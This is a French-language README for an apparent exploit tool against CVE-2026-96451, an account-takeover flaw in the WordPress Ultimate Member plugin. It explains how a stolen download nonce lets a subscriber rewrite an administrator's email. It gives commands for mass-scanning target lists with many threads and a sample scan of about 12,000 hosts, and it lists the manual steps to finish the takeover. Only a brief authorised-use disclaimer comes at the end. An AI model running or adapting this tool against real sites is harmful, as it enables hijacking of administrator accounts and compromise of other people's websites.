
Vulnérabilité d’élévation de privilèges dans le plugin WordPress Ultimate Member <= 2.13.1
WordPress Ultimate Member plugin <= 2.13.1 - Vulnérabilité d'élévation de privilèges
Ultimate Member <= 2.13.1 — Élévation de privilèges / Prise de contrôle de compte
📌 Enregistrement officiel : CVE-2026-96451
Depuis CVE.org :
Vulnérabilité de contournement d'autorisation via une clé contrôlée par l'utilisateur dans Ultimate Member Ultimate Member ultimate-member permet une élévation de privilèges. Ce problème affecte Ultimate Member : de n/a jusqu'à 2.13.1.
| Champ | Valeur |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur |
| 📊 CVSS 3.1 | 8.8 ÉLEVÉ AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Assigneur | Patchstack |
| ⚠️ Affecté | Ultimate Member jusqu'à 2.13.1 |
| ✅ Corrigé | 2.14.0 |
Un abonné connecté peut modifier l'adresse e-mail d'un autre utilisateur (généralement l'administrateur). WordPress accepte alors une réinitialisation de mot de passe pour cette nouvelle boîte mail.
um_fetch_user($user_id) et bascule l'utilisateur global vers l'ID présent dans l'URL.download_routing() retourne sans um_reset_user()._um_account=1, user_email=...).account_submit() lit um_user('ID') — désormais la victime — et écrit la nouvelle adresse e-mail.Le nonce de téléchargement est wp_create_nonce($user_id . $form_id . 'um-download-nonce'). Il est lié à cet ID utilisateur. Il ne peut pas être inventé. Le script le copie depuis un lien visible /um-download/{form}/{field}/{user}/{nonce}/.
Un champ personnalisé de type fichier ou image doit être affiché sur le profil. Les photos de profil/couverture intégrées ne produisent pas ce lien.
pip install requests rich
L'inscription, la connexion, la collecte du nonce, l'exploitation et la vérification de réinitialisation sont automatiques. Vous ne créez pas de comptes manuellement et vous ne fournissez pas de mot de passe d'abonné pour un scan de masse.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
Ce que cette commande fait sur chaque hôte :
/account//um-download/ visible (préfère l'ID utilisateur 1, puis tout membre avec un fichier)--emailwp-login.php?action=lostpassword (WordPress n'a pas besoin de nonce ici)um_takeover.txt--email est la boîte mail placée sur le compte cible afin que vous puissiez recevoir la réinitialisation. Le script n'ouvre pas la boîte de réception et ne définit pas de nouveau mot de passe. Cette dernière étape est manuelle.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| Option | Objectif | Défaut |
|---|---|---|
-l / --list | Fichier de cibles | — |
-u / --url | Une cible | — |
-t / --threads | Workers | 10 |
-o / --output | Fichier de résultats | um_takeover.txt |
--email | Boîte mail écrite sur la victime | auto-générée |
--target-id | ID utilisateur préféré | 1 |
--user / --password | Utiliser un abonné existant au lieu de s'inscrire | désactivé |
-v / --verbose | Afficher chaque étape | désactivé |
Sur une machine RDP lente, 80–150 threads suffisent. Un scan de liste donne environ 22 secondes par hôte.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| Code | Signification |
|---|---|
RST / CHG | E-mail modifié et/ou réinitialisation acceptée — vérifiez la boîte de réception |
UM | Ultimate Member détecté |
REG | L'auto-inscription a créé une session |
rf | Pas de formulaire public, CAPTCHA, approbation ou activation par e-mail |
lf | Inscrit mais connexion échouée |
na | Page de compte / nonce manquant |
nd | Aucun nonce de téléchargement visible (pas de champ fichier personnalisé) |
nc | Exploit envoyé, changement non confirmé |
no | Pas Ultimate Member |
REG_FAIL sur de nombreux hôtes est normal. La chaîne ne continue que là où l'inscription crée une session et où un lien de téléchargement est visible.
Lorsque RST ou CHG apparaît :
--email/wp-login.php ou /wp-admin/Ce projet est destiné uniquement à la recherche en sécurité autorisée — des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite de test.
L'accès non autorisé aux systèmes informatiques est illégal. L'auteur n'accepte aucune responsabilité pour une utilisation abusive, des dommages ou tout résultat de ce logiciel. Vous êtes seul responsable de la manière dont il est utilisé et de chaque cible que vous scannez.
Par : Nxploited ( Khaled Alenazi )